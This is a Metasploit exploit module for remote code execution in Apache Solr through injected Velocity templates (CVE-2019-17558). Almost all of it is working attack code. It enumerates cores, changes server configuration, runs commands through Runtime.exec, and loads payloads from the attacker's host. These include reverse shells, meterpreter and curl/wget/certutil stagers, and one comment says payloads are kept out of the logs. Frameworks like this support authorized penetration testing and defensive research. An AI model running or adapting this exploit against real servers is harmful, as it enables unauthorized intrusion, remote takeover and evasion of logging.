615 lines
22 KiB
Ruby
615 lines
22 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
|
|
Velocity template. Currently, this module only supports Solr basic authentication.
|
|
|
|
From the Tenable advisory:
|
|
An attacker could target a vulnerable Apache Solr instance by first identifying a list
|
|
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
|
|
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
|
|
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
|
|
template parameter in a specially crafted Solr request, leading to RCE.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
's00py', # Discovery and PoC
|
|
'jas502n', # exploit code on Github
|
|
'AleWong', # ExploitDB contribution, and exploit code on Github
|
|
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '47572' ],
|
|
[ 'CVE', '2019-17558' ],
|
|
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
|
|
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
|
|
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
|
|
[ 'URL', 'https://github.com/jas502n/solr_rce'],
|
|
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
|
|
],
|
|
'Platform' => ['linux', 'unix', 'win'],
|
|
'Targets' => [
|
|
[
|
|
'Java (in-memory)',
|
|
{
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
'Type' => :java,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'Unix (in-memory)',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_memory,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
|
}
|
|
],
|
|
[
|
|
'Linux (dropper)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
|
'CmdStagerFlavor' => %w[curl wget]
|
|
}
|
|
],
|
|
[
|
|
'x86/x64 Windows PowerShell',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :windows_psh,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'x86/x64 Windows CmdStager',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :windows_cmdstager,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
|
|
'CmdStagerFlavor' => %w[vbs certutil]
|
|
}
|
|
],
|
|
[
|
|
'Windows Exec',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :windows_exec,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => '2019-10-29', # ISO-8601 formatted
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
|
|
},
|
|
'Privileged' => false
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8983),
|
|
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
|
|
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
|
|
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
# if we are going to exploit, we only need one core to be exploitable
|
|
@vuln_core = ''
|
|
# OS specific stuff
|
|
@target_platform = ''
|
|
# if authentication is used
|
|
@auth_string = ''
|
|
|
|
def check_auth
|
|
# see if authentication is required for the specified Solr instance
|
|
auth_check = solr_get(
|
|
'uri' => normalize_uri(target_uri.path, '/admin/info/system'),
|
|
'vars_get' => { 'wt' => 'json' }
|
|
)
|
|
|
|
# successfully connected?
|
|
unless auth_check
|
|
print_bad('Connection failed!')
|
|
return nil
|
|
end
|
|
|
|
# if response code is not 200, then the Solr instance definitely requires authentication
|
|
unless auth_check.code == 200
|
|
# if authentication is required and creds are not provided, we cannot reliably check exploitability
|
|
if datastore['USERNAME'] == '' && datastore['PASSWORD'] == ''
|
|
print_bad('Credentials not provided, skipping credentialed check...')
|
|
return nil
|
|
end
|
|
|
|
# otherwise, try the given creds
|
|
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
|
attempt_auth = solr_get(
|
|
'uri' => normalize_uri(target_uri.path, '/admin/info/system'),
|
|
'vars_get' => { 'wt' => 'json' },
|
|
'auth' => auth_string
|
|
)
|
|
|
|
# successfully connected?
|
|
unless attempt_auth
|
|
print_bad('Connection failed!')
|
|
return nil
|
|
end
|
|
|
|
# if the return code is not 200, then authentication definitely failed
|
|
unless attempt_auth.code == 200
|
|
print_bad('Invalid credentials!')
|
|
return nil
|
|
end
|
|
|
|
store_valid_credential(
|
|
user: datastore['USERNAME'],
|
|
private: datastore['PASSWORD'],
|
|
private_type: :password,
|
|
proof: attempt_auth.to_s
|
|
)
|
|
|
|
@auth_string = auth_string
|
|
# return the response for use in check/exploit
|
|
return attempt_auth
|
|
end
|
|
|
|
print_status("#{peer}: Authentication not required")
|
|
# return the response for use in check/exploit
|
|
auth_check
|
|
end
|
|
|
|
# check for vulnerability existence
|
|
def check
|
|
auth_res = check_auth
|
|
unless auth_res
|
|
return CheckCode::Unknown('Authentication failed!')
|
|
end
|
|
|
|
# convert to JSON
|
|
ver_json = auth_res.get_json_document
|
|
# get Solr version
|
|
solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
|
|
print_status("Found Apache Solr #{solr_version}")
|
|
# get OS version details
|
|
@target_platform = ver_json['system']['name']
|
|
target_arch = ver_json['system']['arch']
|
|
target_osver = ver_json['system']['version']
|
|
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
|
|
# uname doesn't show up for Windows, so run a check for that
|
|
if ver_json['system']['uname']
|
|
# print uname only when verbose
|
|
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
|
|
end
|
|
|
|
# the vulnerability is only present in Solr versions <= 8.3.0
|
|
unless solr_version <= Rex::Version.new('8.3.0')
|
|
return CheckCode::Safe('Running version of Solr is not vulnerable!')
|
|
end
|
|
|
|
# enumerate cores
|
|
cores = solr_get(
|
|
'uri' => normalize_uri(target_uri.path, '/admin/cores'),
|
|
'vars_get' => { 'wt' => 'json' },
|
|
'auth' => @auth_string
|
|
)
|
|
|
|
# can't connect? that's yet another automatic failure
|
|
unless cores
|
|
return CheckCode::Unknown('Could not enumerate cores!')
|
|
end
|
|
|
|
# convert to JSON yet again
|
|
cores_json = cores.get_json_document
|
|
# draw up an array of all the cores
|
|
cores_list = Array.new
|
|
# get the core names
|
|
cores_json['status'].each_key do |core_name|
|
|
cores_list.push(core_name)
|
|
end
|
|
|
|
# no cores? that means nothing to exploit.
|
|
if cores_list.empty?
|
|
return CheckCode::Safe('No cores found, nothing to exploit!')
|
|
end
|
|
|
|
# got cores? tell the operator which cores were found
|
|
print_status("Found core(s): #{cores_list.join(', ')}")
|
|
possibly_vulnerable_cores = {}
|
|
|
|
cores_list.each do |core|
|
|
# for each core, attempt to get config
|
|
core_config_json = get_response_writer_config(core.to_s)
|
|
|
|
if core_config_json.dig('config', 'queryResponseWriter').blank?
|
|
print_error("Failed to get queryResponseWriter configuration for core '#{core}'")
|
|
next
|
|
end
|
|
|
|
core_config_json['config']['queryResponseWriter'].each do |writer_name, writer_config|
|
|
# The default name is 'velocity' but a queryResponseWriter can have an
|
|
# arbitrary name. The classname is diagnostic.
|
|
next unless writer_config['class'] == 'solr.VelocityResponseWriter'
|
|
|
|
print_good("Found Velocity Response Writer in use by core '#{core}'")
|
|
vprint_status("Writer config: #{writer_config}")
|
|
|
|
# String 'true' from the remote configuration, not TrueClass
|
|
if writer_config['params.resource.loader.enabled'] == 'true'
|
|
print_good("params.resource.loader.enabled for core '#{core}' is set to true.")
|
|
possibly_vulnerable_cores.store(core, writer_name)
|
|
else
|
|
# if params.resource.loader.enabled is false, we need to set it to true before exploitation
|
|
print_warning("params.resource.loader.enabled for core '#{core}' is set to false.")
|
|
possibly_vulnerable_cores.store(core, false)
|
|
end
|
|
end
|
|
end
|
|
|
|
# look at the array of possibly vulnerable cores
|
|
if possibly_vulnerable_cores.empty?
|
|
CheckCode::Safe('No cores are vulnerable!')
|
|
else
|
|
# if possible, pick a core that already has params.resource.loader.enabled set to true
|
|
possibly_vulnerable_cores.each do |core|
|
|
if core[1]
|
|
@vuln_core = core
|
|
break
|
|
end
|
|
end
|
|
# otherwise, just pick the first one
|
|
if @vuln_core.to_s == ''
|
|
@vuln_core = possibly_vulnerable_cores.first
|
|
end
|
|
CheckCode::Vulnerable
|
|
end
|
|
end
|
|
|
|
def get_response_writer_config(core)
|
|
core_config = solr_get(
|
|
'uri' => normalize_uri(target_uri.path, core.to_s, 'config', 'queryResponseWriter'),
|
|
'auth' => @auth_string
|
|
)
|
|
|
|
if core_config
|
|
return core_config.get_json_document
|
|
else
|
|
print_error("Could not retrieve configuration for core '#{core}'!")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def change_response_writer(core, verb: 'update')
|
|
# the new config in JSON format
|
|
enable_params_resource_loader = {
|
|
"#{verb}-queryresponsewriter": {
|
|
startup: 'lazy',
|
|
name: 'velocity',
|
|
class: 'solr.VelocityResponseWriter',
|
|
# "template.base.dir": "",
|
|
# "solr.resource.loader.enabled": "true",
|
|
"params.resource.loader.enabled": 'true'
|
|
}
|
|
}.to_json
|
|
|
|
opts_post = {
|
|
'method' => 'POST',
|
|
'connection' => 'Keep-Alive',
|
|
'ctype' => 'application/json;charset=utf-8',
|
|
'encode_params' => false,
|
|
'uri' => normalize_uri(target_uri.path, core, 'config'),
|
|
'data' => enable_params_resource_loader
|
|
}
|
|
|
|
unless @auth_string == ''
|
|
opts_post.store('authorization', @auth_string)
|
|
end
|
|
|
|
print_status("params.resource.loader.enabled is false for '#{core}', trying to #{verb} it...")
|
|
update_config = send_request_cgi(opts_post)
|
|
|
|
unless update_config
|
|
fail_with Failure::Unreachable, 'Connection failed!'
|
|
end
|
|
|
|
# if we got anything other than a 200 back, the configuration update failed and the exploit won't work
|
|
unless update_config.code == 200
|
|
fail_with Failure::UnexpectedReply, 'Unable to update config, exploit failed!'
|
|
end
|
|
|
|
update_config.get_json_document
|
|
end
|
|
|
|
# the exploit method
|
|
def exploit
|
|
unless [CheckCode::Vulnerable].include? check
|
|
fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
|
|
end
|
|
|
|
print_status("Targeting core '#{@vuln_core[0]}'")
|
|
|
|
# if params.resource.loader.enabled for that core is false
|
|
if !@vuln_core[1]
|
|
response_json = change_response_writer(@vuln_core[0], verb: 'update')
|
|
|
|
if response_json.key?('errorMessages')
|
|
server_error = response_json['errorMessages'].first['errorMessages']&.first
|
|
print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
|
|
# rubocop:disable Lint/UselessAssignment
|
|
response_json = change_response_writer(@vuln_core[0], verb: 'create')
|
|
# rubocop:enable Lint/UselessAssignment
|
|
end
|
|
end
|
|
|
|
core_config_json = get_response_writer_config(@vuln_core[0])
|
|
|
|
if core_config_json.dig('config', 'queryResponseWriter', 'velocity', 'params.resource.loader.enabled')
|
|
print_good("params.resource.loader.enabled is true for core '#{@vuln_core[0]}'")
|
|
else
|
|
print_warning("Config change appears to have failed but I'll try anyway. Wish me luck.")
|
|
end
|
|
|
|
case target.name
|
|
when /Java/
|
|
@classloader_uri = start_service
|
|
execute_java('core_name' => @vuln_core[0], 'auth_string' => @auth_string)
|
|
return
|
|
end
|
|
|
|
# windows...
|
|
if @target_platform.include? 'Windows'
|
|
# if target is wrong, warn and exit before doing anything
|
|
unless target.name.include? 'Windows'
|
|
fail_with Failure::BadConfig, 'Target is found to be Windows, please select the proper target!'
|
|
end
|
|
|
|
case target['Type']
|
|
# PowerShell...
|
|
when :windows_psh
|
|
# need PowerShell for this
|
|
winenv_path = execute_command('C:\\Windows\\System32\\cmd.exe /c PATH', 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
|
|
unless winenv_path
|
|
fail_with Failure::Unreachable, 'Connection failed!'
|
|
end
|
|
|
|
# did the command to check for PATH execute?
|
|
unless winenv_path.code == 200
|
|
fail_with Failure::UnexpectedReply, 'Unexpected reply from target, aborting!'
|
|
end
|
|
|
|
# is PowerShell in PATH?
|
|
if /powershell/i =~ winenv_path.body.to_s
|
|
# only interested in the contents of PATH. Everything before it is irrelevant
|
|
paths = winenv_path.body.split('=')[1]
|
|
# confirm that PowerShell exists in the PATH by checking each one
|
|
paths.split(';').each do |path_val|
|
|
# if PowerShell exists in PATH, then we are good to go
|
|
unless /powershell/i =~ path_val
|
|
next
|
|
end
|
|
|
|
print_good("Found Powershell at #{path_val}")
|
|
# generate PowerShell command, encode with base64, and remove comspec
|
|
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
|
|
# specify full path to PowerShell
|
|
psh_cmd.insert(0, path_val)
|
|
# exploit the thing
|
|
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
|
break
|
|
end
|
|
else
|
|
fail_with Failure::BadConfig, 'PowerShell not found!'
|
|
end
|
|
# ... CmdStager ...
|
|
when :windows_cmdstager
|
|
print_status('Sending CmdStager payload...')
|
|
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
|
# ... or plain old exec?
|
|
when :windows_exec
|
|
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
|
|
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
|
end
|
|
end
|
|
|
|
# ... or nix-based?
|
|
if @target_platform.include? 'Linux'
|
|
# if target is wrong, warn and exit before doing anything
|
|
if target.name.include? 'Windows'
|
|
fail_with Failure::BadConfig, 'Target is found to be nix-based, please select the proper target!'
|
|
end
|
|
|
|
case target['Type']
|
|
when :linux_dropper
|
|
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
|
when :unix_memory
|
|
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
|
|
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
|
end
|
|
end
|
|
end
|
|
|
|
# some prep work has to be done to work around the limitations of Java's Runtime.exec()
|
|
def execute_cmdstager_begin(_opts)
|
|
if @target_platform.include? 'Windows'
|
|
@cmd_list.each do |command|
|
|
command.insert(0, 'C:\\Windows\\System32\\cmd.exe /c ')
|
|
end
|
|
else
|
|
@cmd_list.each do |command|
|
|
command.insert(0, '/bin/bash -c $@|/bin/bash . echo ')
|
|
end
|
|
end
|
|
end
|
|
|
|
def execute_java(opts = {})
|
|
template =
|
|
%q{
|
|
#set($_="")
|
|
#set($c=$_.getClass().getClass())
|
|
#set($a=$c.forName("java.util.ArrayList"))
|
|
#set($l=$a.newInstance())
|
|
#set($o=$c.forName("java.lang.Object"))
|
|
#set($q=$a.getMethod("add",$o).invoke($l,"x"))
|
|
#set($i=$c.forName("java.lang.Integer").getField("TYPE").get(null))
|
|
#set($url=$c.forName("java.net.URL").getConstructor($c.forName("java.lang.String")).newInstance("} + @classloader_uri + %q{"))
|
|
#set($ani=$c.forName("java.lang.reflect.Array").getMethod("newInstance",$c,$i))
|
|
#set($l[0]=$ani.invoke(null,$c.forName("java.net.URL"),1))
|
|
#set($l[0][0]=$url)
|
|
#set($url_cl=$c.forName("java.net.URLClassLoader").getConstructor($c.forName("[Ljava.net.URL;")).newInstance($l.toArray()))
|
|
#set($z=$url_cl.loadClass("metasploit.Payload"))
|
|
#set($l[0]=$ani.invoke(null,$c.forName("java.lang.String"),0))
|
|
#set($_=$z.getMethod("main",$c.forName("[Ljava.lang.String;")).invoke(null,$l.toArray()))
|
|
}
|
|
|
|
=begin
|
|
# Here's an example of a template that can base64 decode a header.
|
|
# This only works on Solr versions after 6.6 that introduced the
|
|
# getHttpSolrCall method, allowing us access to the request headers. Also,
|
|
# java.util.Base64 was introduced in java 1.8, so older installs are
|
|
# likely not to have that either.
|
|
%q{
|
|
#set($b=$request.getHttpSolrCall().req.getHeader("X-A00"))
|
|
#set($c=$b.getClass().getClass())
|
|
#set($s=$c.forName("java.lang.String").getConstructor("[B"))
|
|
#set($d=$c.forName("java.util.Base64").getMethod("getDecoder",null).invoke(null, null))
|
|
#set($payloadByteArray=$d.decode($b))
|
|
#set($decoded_str=$s.invoke($payloadByteArray))
|
|
$decoded_str
|
|
}
|
|
=end
|
|
|
|
# execute the exploit...
|
|
raw_result = solr_get(
|
|
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
|
|
'auth' => opts['auth_string'],
|
|
'vars_get' => {
|
|
'q' => '1',
|
|
'wt' => 'velocity',
|
|
'v.template' => 'custom',
|
|
'v.template.custom' => template.gsub(/^[[:space:]]*/, '')
|
|
}
|
|
)
|
|
|
|
# This will give you a Java stack trace from the remote side to help with
|
|
# debugging payload templates.
|
|
if raw_result&.code != 200
|
|
# pp raw_result.headers
|
|
vprint_error raw_result.body
|
|
fail_with Failure::PayloadFailed, 'Velocity template caused an exception on the server'
|
|
end
|
|
end
|
|
|
|
# sic 'em, bois!
|
|
def execute_command(cmd, opts = {})
|
|
# custom template which enables command execution
|
|
template = %q{
|
|
#set($c = $request.getParams().get("c"))
|
|
#set($x="")
|
|
#set($rt=$x.class.forName("java.lang.Runtime"))
|
|
#set($ex=$rt.getRuntime().exec($c))
|
|
}
|
|
|
|
# the next 2 lines cause problems with CmdStager, so it's only used when needed
|
|
# during the check for PowerShell existence, or by specific payloads
|
|
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
|
|
template += <<~VELOCITY
|
|
#set($a=$ex.waitFor())
|
|
#set($out=$ex.getInputStream())
|
|
#if($out.available() > 0)
|
|
#set($chr=$x.class.forName("java.lang.Character"))
|
|
#set($str=$x.class.forName("java.lang.String"))
|
|
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
|
|
#end
|
|
VELOCITY
|
|
end
|
|
|
|
# execute the exploit...
|
|
# POST, so our payload doesn't end up in logs
|
|
raw_result = solr_get(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
|
|
'auth' => opts['auth_string'],
|
|
'vars_post' => {
|
|
'q' => '1',
|
|
'wt' => 'velocity',
|
|
'v.template' => 'custom',
|
|
'v.template.custom' => template.gsub(/^[[:space:]]*/, ''),
|
|
'c' => cmd
|
|
},
|
|
'timeout' => 1
|
|
)
|
|
|
|
# Executing PATH always gives a result, so it can return safely
|
|
if opts['winenv_check']
|
|
return raw_result
|
|
end
|
|
|
|
# for printing command output
|
|
unless raw_result.nil?
|
|
unless raw_result.code == 200
|
|
vprint_error raw_result.body
|
|
fail_with Failure::PayloadFailed, 'Payload failed to execute!'
|
|
end
|
|
|
|
# to get pretty output
|
|
result_inter = raw_result.body.to_s.sub("0\n", ':::').split(':::').last
|
|
unless result_inter.nil?
|
|
final_result = result_inter.split("\n").first.strip
|
|
print_good(final_result)
|
|
end
|
|
end
|
|
end
|
|
|
|
# make sending requests easier
|
|
def solr_get(opts = {})
|
|
send_request_cgi_opts = {
|
|
'method' => 'GET',
|
|
'connection' => 'Keep-Alive',
|
|
'uri' => opts['uri']
|
|
}.merge(opts)
|
|
|
|
# @auth_string defaults to "" if no authentication is necessary
|
|
# otherwise, authentication is required
|
|
if opts['auth'] != ''
|
|
send_request_cgi_opts.store('authorization', opts['auth'])
|
|
end
|
|
|
|
# a bit unrefined, but should suffice in this case
|
|
if opts['vars_get']
|
|
send_request_cgi_opts.store('vars_get', opts['vars_get'])
|
|
end
|
|
|
|
send_request_cgi(send_request_cgi_opts)
|
|
end
|
|
end
|